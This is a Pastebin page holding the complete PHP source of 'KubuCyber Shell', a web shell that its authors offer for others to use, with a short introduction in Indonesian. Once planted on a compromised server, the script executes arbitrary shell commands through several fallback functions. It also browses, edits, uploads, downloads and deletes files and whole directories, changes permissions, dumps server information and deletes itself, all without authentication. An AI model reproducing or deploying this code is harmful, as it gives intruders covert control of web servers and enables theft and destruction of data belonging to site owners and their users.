Advertisement
badwolves1986

KubuCyber Shell

Sep 20th, 2011
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 20.09 KB | None | 0 0
  1. sebelum saya tulis ini ada satu catatan disini
  2. dalam hal ini saya bukan copas tapi editing dari script awal menjadi script yang saya
  3. kembangkan untuk teman2 semua harap jgn sama kan copas , editing ,dan coding
  4. dalam hal ini saya coding sekaligus editing,...
  5. ok cekidot
  6.  
  7.  
  8. <?php
  9.  
  10. /* *
  11. *
  12. * KubuCyber shell
  13. * PHP Shell script Liyan Oz and badwolves1986
  14. * Author : Liyan Oz and badwolves1986
  15. * Release date 08/02/2011
  16. * http://Kubucyber.net
  17. * Thanks to : Kubucyber and r3c0gn1z3d
  18. * Special Thanks to Liyan Oz atas shell family Oz nya dengan begitu saya bisa kembangin
  19. *
  20. * */
  21. if (!function_exists("getTime")) {
  22.     function getTime() {
  23.         list($usec, $sec) = explode(" ", microtime());
  24.         return ((float)$usec + (float)$sec);
  25.      }
  26. }
  27. define("startTime",getTime());
  28.  
  29. if (!function_exists("shellexec")) {
  30.     function shellexec($cmd) {
  31.         global $disablefunc;
  32.         $result = "";
  33.         if (!empty($cmd)) {
  34.              if (is_callable("exec") and !in_array("exec",$disablefunc)) {
  35.                  exec($cmd,$result);
  36.                  $result = join("\n",$result);
  37.              } elseif (($result = `$cmd`) !== FALSE) {}
  38.               elseif (is_callable("system") and !in_array("system",$disablefunc)) {
  39.                   $v = ob_get_contents();
  40.                   ob_clean();
  41.                   system($cmd);
  42.                   $result = ob_get_contents();
  43.                   ob_clean();
  44.                   echo $v;
  45.               } elseif (is_resource($fp = popen($cmd,"r"))) {
  46.                    $result = "";
  47.                    while(!feof($fp)) {
  48.                        $result .= fread($fp,1024);
  49.                    }
  50.                    pclose($fp);
  51.               }
  52.         }
  53.         return $result;
  54.     }
  55. }
  56.  
  57. function getperms ($file) {        
  58.     $perm = substr(sprintf('%o', fileperms($file)), -4);
  59.     return $perm;
  60. }
  61.  
  62. if (!function_exists("view_size")) {
  63.     function view_size($size){
  64.         if (!is_numeric($size)) {
  65.             return FALSE;
  66.         } else {
  67.               if ($size >= 1073741824) {
  68.                   /* Conversione da Byte a GigaByte */
  69.                   $size = round($size/1073741824*100)/100 ." GB";
  70.               } elseif ($size >= 1048576) {
  71.                   /* Conversione da Byte a MegaByte */
  72.                   $size = round($size/1048576*100)/100 ." MB";
  73.               } elseif ($size >= 1024) {
  74.                   /* Conversione da Byte a KiloByte */
  75.                   $size = round($size/1024*100)/100 ." KB";
  76.               } else {
  77.                   /* Byte */
  78.                   $size = $size . " B";
  79.               }
  80.               return $size;
  81.         }
  82.     }
  83. }
  84.  
  85. function getinfo()
  86. {
  87.     $info  = '[BD]';
  88.     $info .= '[BD]Version of PHP: ' .phpversion() .'<br />';
  89.     $info .= '[BD]Server: ' .$_SERVER['HTTP_HOST'] .'<br />';
  90.     $info .= '[BD]IP address: ' .$_SERVER['SERVER_ADDR'] .'<br />';
  91.     $info .= '[BD]Software: ' .$_SERVER['SERVER_SOFTWARE'].'<br />';
  92.     $info .= '[BD]Charset: ' .$_SERVER['HTTP_ACCEPT_CHARSET'] . '<br />';
  93.     $info .= ((ini_get('safe_mode') == 0) ? '[BD]Safe Mode: <font color="#00FF33">OFF</font><br />'    : '[oz]Safe Mode: <font color="#FF3300">OFF</font><br />');
  94.     $info .= ((ini_get('magic_quotes_gpc') == 0) ? '[BD]Magic Quotes: <font color="#00FF33">OFF</font><br />' : '[BD]Magic Quotes: <font color="#FF3300">ON</font><br />');
  95.     if (is_callable("disk_free_space")) {
  96.         $d = realpath(".");
  97.         $free = disk_free_space($d);
  98.         $total = disk_total_space($d);
  99.         if ($free === FALSE || $free < 0) {
  100.             $free = 0;
  101.         }
  102.         if ($total === FALSE || $total < 0) {
  103.             $total = 0;
  104.         }
  105.         $used = $total-$free;
  106.         $info .= "[BD]Free space: ".view_size($free)."/".view_size($total)."<br />";
  107.     }
  108.     return $info;
  109. }
  110. ?>
  111. <?php
  112. if (!isset ($_GET ['dir'])){
  113.     $dir = getcwd ();
  114. }
  115. else {
  116.     $dir = $_GET ['dir'];
  117. }
  118. chdir ($dir);
  119.  
  120. $current = getcwd ();
  121. $c = "?dir=" . $current;
  122.  
  123. $home = "<html>
  124.    <head>
  125.        <title>Kubucyber Shell ".$current."</title>
  126.        <style type=\"text/css\">
  127.        body {
  128.            color: #FFFFFF;
  129.            background-color: black;
  130.            font-family: Courier New, Verdana, Arial;
  131.            font-size: 11px;
  132.            cursor: crosshair;
  133.        }
  134.        a:link {
  135.            color: #FFFFFF;
  136.            text-decoration: none;
  137.        }
  138.        a:visited {
  139.            color: #FFFFFF;
  140.            text-decoration: none;
  141.        }
  142.        a:hover {
  143.            cursor: crosshair;
  144.             text-decoration: none;
  145.            color: #808080;
  146.        }
  147.        a.head {
  148.            text-decoration: none;
  149.            text-color: #800000;
  150.        }
  151.        a.head:hover {
  152.            cursor: crosshair;
  153.            text-decoration: none;
  154.            color: #FF0000;
  155.        }
  156.        table {
  157.            font-size: 11px;
  158.        }
  159.        td.list {
  160.            border: 1px solid white;
  161.            font-size: 11px;
  162.        }
  163.        td.list:hover {
  164.            background: #000;
  165.        }
  166.        #info {
  167.            font-size:            12px;
  168.            width:                50%;
  169.            margin-left:        20%;
  170.            text-align: left;
  171.        }
  172.        #foot {
  173.            font-size:            12px;
  174.            width:                65%;
  175.            margin-left:        20%;
  176.            text-align: left;
  177.        }
  178.        input:hover, textarea:hover {
  179.            background: #808080;
  180.            cursor: crosshair;
  181.        }
  182.        #perm {
  183.            color: #FF0000;
  184.        }
  185.  
  186.    </style>
  187.    </head>
  188.    <body>";
  189.  
  190. print $home."<center><a href = \"".$_SERVER['PHP_SELF']."\"><img src = \"http://stikom.zoomshare.com/files/hackingkubu1.jpg\" border = \"none\"></a></center>";
  191. print "<hr size=\"1\" width=\"60%\" noshade />\n<div id = \"info\">[BD]Current Directory: " . getcwd () . "<br />".getinfo()."</div>\n<hr size=\"1\" width=\"60%\" noshade />";
  192.  
  193. print "<table width = 60% height = 10% align = \"center\">\n";
  194. print "<tr>\n";
  195. print "<td>[ <a class = \"head\" href = '" . $c . "&mode=create'>New</a> ]</td>\n";
  196. print "<td>[ <a class = \"head\" href = '" . $c . "&mode=phpinfo'>PHP Info</a> ]</td>\n";
  197. print "<td>[ <a class = \"head\" href = '" . $c . "&mode=nopaste&action=ins'>No-Paste</a> ]</td>\n";
  198. print "<td>[ <a class = \"head\" href = '" . $c . "&mode=execute'>Shell Command</a> ]</td>\n";
  199. print "<td>[ <a class = \"head\" href = '" . $c . "&mode=hasher'>Hasher</a> ]</td>\n";
  200. print "<td>[ <a class = \"head\" href = '" .$c . "&mode=selfremove'>Self Remove</a> ]</td>\n";
  201. print "</tr></table><center>";
  202.  
  203. $mode = $_GET ['mode'];
  204. switch ($mode) {
  205.     case "edit":
  206.         $file = $_GET ['file'];
  207.         $new = $_POST ['new'];
  208.         if (empty ($new)) {
  209.             $fp = fopen ($file , "r");
  210.             $cont = fread ($fp, filesize ($file));
  211.             $cont = str_replace ("<textarea>" , "<textarea>" , $cont);
  212.             print "<form action = '" . $c . "&mode=edit&file=" . $file . "' method = 'POST'>\n";
  213.             print "File: ". $file . "<br />\n";
  214.             print "<textarea name = 'new' rows = '25' cols = '100'>" . $cont . "</textarea><br />\n";
  215.             print "<input type = 'submit' value = 'Edit'></form>\n";
  216.         }
  217.         else {
  218.             $fp = fopen ($file , "w");
  219.             if (fwrite ($fp , $new)) {
  220.                 header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir);
  221.             }
  222.             else {
  223.                 print "Impossibile editare " . $file . "<br />\n";
  224.                 echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n";
  225.             }
  226.         }
  227.         fclose ($fp);
  228.         break;
  229.     case "upload":
  230.         $temp = $_FILES ['file'] ['tmp_name'];
  231.         $file = basename ($_FILES ['file'] ['name']);
  232.         if (!empty ($file)) {
  233.              if (move_uploaded_file ($temp , $file)) {
  234.                 header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir);
  235.             }
  236.             else {
  237.                 print "Impossibile caricare " . $file . "\n";
  238.                 echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n";
  239.             }
  240.         }
  241.         break;
  242.     case "download":
  243.         $filename = $_GET['filename'];
  244.         header("Pragma: no-cache");
  245.         header("Expires: 0");
  246.         header ( "Content-type: application/octet-stream" );
  247.         header ( "Content-Disposition: attachment; filename=".$filename.";" );
  248.         header ( "Content-Description: Download manager" );
  249.         header ( "Content-Length: " . filesize ($filename) );
  250.         readfile ($filename);
  251.         break;
  252.     case "rename":
  253.         $old = $_GET ['old'];
  254.         print "<form action = '". $c . "&mode=rename&old=" . $old . "' method = 'POST'>\n";
  255.         print "New name: <input name = 'new'><br />\n";
  256.         print "<input type = 'submit' value = 'Rename'></form>\n";
  257.         $new = $_POST ['new'];
  258.         if (!empty ($new)) {
  259.             if (rename ($old , $new)) {
  260.                 header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir);
  261.             }
  262.             else {
  263.                 print "Impossibile rinominare " . $old . ".<p>\n";
  264.                 echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n";
  265.             }
  266.         }
  267.         break;
  268.     case "chmod":
  269.         if (chmod($_POST['tomod'], intval($_POST['mod'], 8)) == false) {
  270.             print "Impossibile cambiare i permessi a " .$_POST['tomod'] . "<br />";
  271.             echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n";
  272.         }
  273.         else {
  274.             header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir);
  275.             // print "".$_POST['tomod']." con permessi: ".intval($_POST['mod'], 8)." e' stato chmoddato\n";
  276.         }
  277.         break;
  278.     case "remove":
  279.         $file = $_GET ['file'];
  280.         if (unlink ($file)) {
  281.             header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir);
  282.         }
  283.         else {
  284.             print "Impossibile rimuovere " . $file . " <br />\n";
  285.             echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n";
  286.         }
  287.         break;
  288.     case "selfremove":
  289.         header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir.'&mode=remove&file='.__FILE__);
  290.         break;
  291.     case "makedir":
  292.         if (mkdir($_POST['dir'], 0777) == false) {
  293.             print "Impossibile creare directory; " .$_POST['dir'] . " <br />\n";
  294.             echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n";
  295.         } else {
  296.             header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);
  297.         }
  298.         break;
  299.     case "godir":
  300.         $goto = $_POST['goto'];
  301.         if (isset($_POST['goto'])) {
  302.             chdir($goto);
  303.             header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].$c.'/'.$goto);
  304.         } else {
  305.             header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);
  306.         }
  307.         break;
  308.     case "elimina":
  309.         $dire = $_GET['dire'];
  310.         if ($handle = opendir($dire)) {
  311.             $array = array();
  312.             while (false != ($file = readdir($handle))) {
  313.                 if ($file != "." && $file != "..") {
  314.                     if(is_dir($dire.$file)) {
  315.                         if(!rmdir($dire.$file)) {
  316.                             delete_directory($dire.$file.'/');
  317.                         }
  318.                     }
  319.                     else {
  320.                         unlink($dire.$file);
  321.                     }
  322.                 }
  323.             }
  324.             closedir($handle);
  325.             rmdir($dire);
  326.         }
  327.         header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir);
  328.         break;
  329.     case "create":
  330.         $new = $_POST ['new'];
  331.         if (isset($_POST['new'])) {
  332.             if (!empty ($new)) {
  333.                 if ($fp = fopen ($new, "w")){
  334.                     header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir);
  335.                 }
  336.                 else {
  337.                     print "Impossibile creare " . $file . ".<p>\n";
  338.                     echo "<a href=\"javascript:history.go(-1)\">Indietro</a></center><br /><br />\n";
  339.                 }
  340.                 fclose ($fp);
  341.             }
  342.         }
  343.         else {
  344.             print "<form action = '" . $c . "&mode=create' method = 'POST'>\n";
  345.             print "<tr><td>New file: <input name = 'new'></td>\n";
  346.             print "<td><input type = 'submit' value = 'Create'></td></tr></form>\n";
  347.         }
  348.             break;
  349.     case "nopaste":
  350.             switch ($_GET ['action']) {
  351.                 case "ins":
  352.                     print "<form action '" . $c . "&action=ins' method = 'POST'>\n";
  353.                     print "Title: <input type = 'text' name = 'title'><br />\n";
  354.                     print "Language: <input type = 'text' name = 'language'><br />\n";
  355.                     print "Script: <br /><textarea name = 'source' rows = '30' cols = '50'></textarea><br />\n";
  356.                     print "<input type = 'submit' value = 'Submit'></form>\n";
  357.                     if (!empty ($_POST ['title']) && !empty ($_POST ['language']) && !empty ($_POST ['source']))
  358.                     {
  359.                         $file = rand (1000000, 9999999);
  360.                         $fp = fopen ($file, "w");
  361.                         fwrite ($fp, $_POST ['title'] . "\n" . $_POST ['language'] . "\n\n" . $_POST ['source']);
  362.                         fclose ($fp);
  363.                         header ("Location: {$c}&mode=nopaste&action=view&id={$file}");
  364.                     }
  365.                     break;
  366.                 case "view":
  367.                     $id = $_GET ['id'];
  368.                     $fp = fopen ($id, "r");
  369.                     $read = fread ($fp, filesize ($id));
  370.                     print "<table border = '1'>\n<tr>\n<td>\n<pre>" . htmlentities ($read) . "</pre></td>\n</tr>\n</table>\n";
  371.                     fclose ($fp);
  372.                     break;
  373.             }
  374.         break;
  375.     case "execute":
  376.         $command = $_POST ['command'];
  377.         if (!isset ($_POST['command'])) {
  378.             print "<table>\n<form action = '" . $c . "&mode=execute' method = 'POST'>\n";
  379.             print "<tr>\n<td><input type = 'text' name = 'command'></td>\n</tr>\n";
  380.             print "<tr>\n<td><input type = 'submit' value = 'Execute'></td>\n</tr>\n</form>\n</table>";
  381.         }
  382.         else {
  383.             $ret = shellexec($command);
  384.             if ($ret == "") {
  385.                 print "Il comando non puo' essere eseguito sul server<br /><br /><br />\n";
  386.             }
  387.             else {
  388.                 print "Executing the following command:<br />\n";
  389.                 print "<textarea rows = '5' cols = '60'>".$command."</textarea><br />\n";
  390.                 print "Result:<br /> <textarea rows = '5' cols = '60'>".$ret."</textarea><br /><br /><br />\n";
  391.             }
  392.         }
  393.         break;
  394.     case "hasher":
  395.         print "<table>\n<form action = '" . $c . "&mode=hasher' method = 'POST'>\n";
  396.         print "<tr>\n<td><input type = 'text' name = 'hash'></td>\n</tr>\n";
  397.         print "<tr>\n<td><select name = 'type'>\n";
  398.         print "<option>md4</option>\n";
  399.         print "<option>md5</option>\n";
  400.         print "<option>sha1</option>\n";
  401.         print "<option>gost</option>\n";
  402.         print "<option>crc32</option>\n";
  403.         print "<option>adler32</option>\n";
  404.         print "<option>whirlpool</option>\n";
  405.         print "</select></td>\n</tr>";
  406.         print "<tr>\n<td><input type = 'submit' value = 'hash'></td>\n</tr></form>\n</table>";
  407.         if (!empty ($_POST ['hash']) && !empty ($_POST ['type'])) {
  408.             print $_POST ['hash'] . ": " . "<b>" . hash ($_POST ['type'], $_POST ['hash']) . "</b>";
  409.         }
  410.         break;
  411.     case "phpinfo":
  412.         phpinfo();
  413.         break;
  414.     default:
  415.         print "<table style = \"border: 1px solid black;\" width=\"60%\">\n";
  416.         $files = scandir ($dir);
  417.         foreach ($files as $out) {
  418.             if (is_file ($out)) {
  419.                
  420.                 print "<tr>\n<td width = \"55%\" class = \"list\"><a href = " .$c ."&mode=download&filename=".$out.">" . $out ."</a></td>\n";
  421.                 print "<td width = \"10%\" class = \"list\">".view_size(filesize($out))."</td>";
  422.                 print "<td class = \"list\"><div id = \"perm\">" . getperms ($out) . "</div></td>\n";
  423.                 print "<td class = \"list\" align = \"right\"><a href = '" . $c ."&mode=edit&file=" . $out . "'><img src = 'http://stikom.zoomshare.com/files/hackingkubu1.jpg' alt = \"edita file\" border = \"none\"></a>
  424.                <a href = '" . $c ."&mode=remove&file=" . $out . "'><img src = 'http://stikom.zoomshare.com/files/hackingkubu1.jpg' alt = \"elimina file\" border = \"none\"></a>
  425.                <a href = '" . $c ."&mode=rename&old=" . $out . "'><img src = 'http://stikom.zoomshare.com/files/hackingkubu1.jpg' alt = \"rinomina file\" border = \"none\"></a>
  426.                </td>\n</tr>";
  427.             }
  428.             else {
  429.                 if ($out != "." && $out != "..") {
  430.                     print "<tr>\n<td width = \"55%\" class = \"list\"><a href = " . $c . "/" .  $out . ">" . $out . "</a></td>\n";
  431.                     print "<td width = \"10%\" class = \"list\">FOLDER</td>";
  432.                     print "<td class = \"list\"><div id = \"perm\">" . getperms ($out) . "</div></td>\n";
  433.                     print "<td class = \"list\" align = \"right\"><a href = '" . $c ."&mode=elimina&dire=" . $out . "'><img src = 'http://img193.imageshack.us/img193/9589/deletef.gif' alt = \"elimina directory\" border = \"none\"></a></td>\n</tr>";
  434.             }
  435.             if ($out == "..")
  436.                 print "<td width = \"55%\" class = \"list\"><a href = " . $c . "/" . $out . ">..</a></td>\n";
  437.             }
  438.         }
  439.     print "</table>\n";
  440. }
  441.  
  442. print "</center>\n<hr size=\"1\" width=\"60%\" noshade />";
  443. print "\n</hr>";
  444. print "<table id = \"foot\">
  445.           <tr>
  446.               <td width = \"40%\">
  447.                   <form action = '" . $c . "&mode=upload' method = 'POST' ENCTYPE='multipart/form-data'>
  448.                           Upload file: <input type = 'file' name = 'file'>
  449.                           <input type = 'submit' value = 'Upload'>
  450.                   </form>
  451.               </td>
  452.               <td width = \"50%\">
  453.                       <form method=\"POST\" action=\"".$c."&mode=chmod\">
  454.                           Chmod File: <input type=\"text\" name=\"tomod\" value = \"filename\">
  455.                           <input type=\"number\" name=\"mod\" value = \"0666\">
  456.                           <input type=\"submit\" name=\"submit\" value=\"Chmod\">
  457.                       </form>
  458.               </td>
  459.           </tr>
  460.           <tr>
  461.                   <td width = \"40%\">
  462.                       <form method=\"POST\" action=\"?dir='.$c.'&mode=makedir\">
  463.                           Mkdir: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type=\"text\" name=\"dir\" value=\"namedir\">
  464.                           <input type=\"submit\" name=\"submit\" value=\"Create\">
  465.                    </form>
  466.                   </td>
  467.                   <td width = \"50%\">
  468.                       <form action = '" . $c . "&mode=create' method = 'POST'>
  469.                        New file:&nbsp;&nbsp; <input name = 'new'>
  470.                        <input type = 'submit' value = 'Create'></form>
  471.                   </td>
  472.           </tr>
  473.           <tr>
  474.            <td>
  475.                <form method = \"POST\" action = \"?dir='.$c.'&mode=godir\">
  476.                    Go dir:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input name = 'goto'>
  477.                    <input type = 'submit' value = 'Go'>
  478.                </form>
  479.            </td>
  480.           </tr>
  481.       </table><hr size=\"1\" width=\"60%\" noshade />\n</hr>";
  482.     print "<center>[ Generation time: ".round(getTime()-startTime,4)." seconds | by <a href=\"http://www.badwolves1986.tk\">Badwolves1986</a> and <a href = \"http://www.Kubucyber.net\">Kubucyber Team</a>]</center>\n</body>\n</html>";
  483.  
  484. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement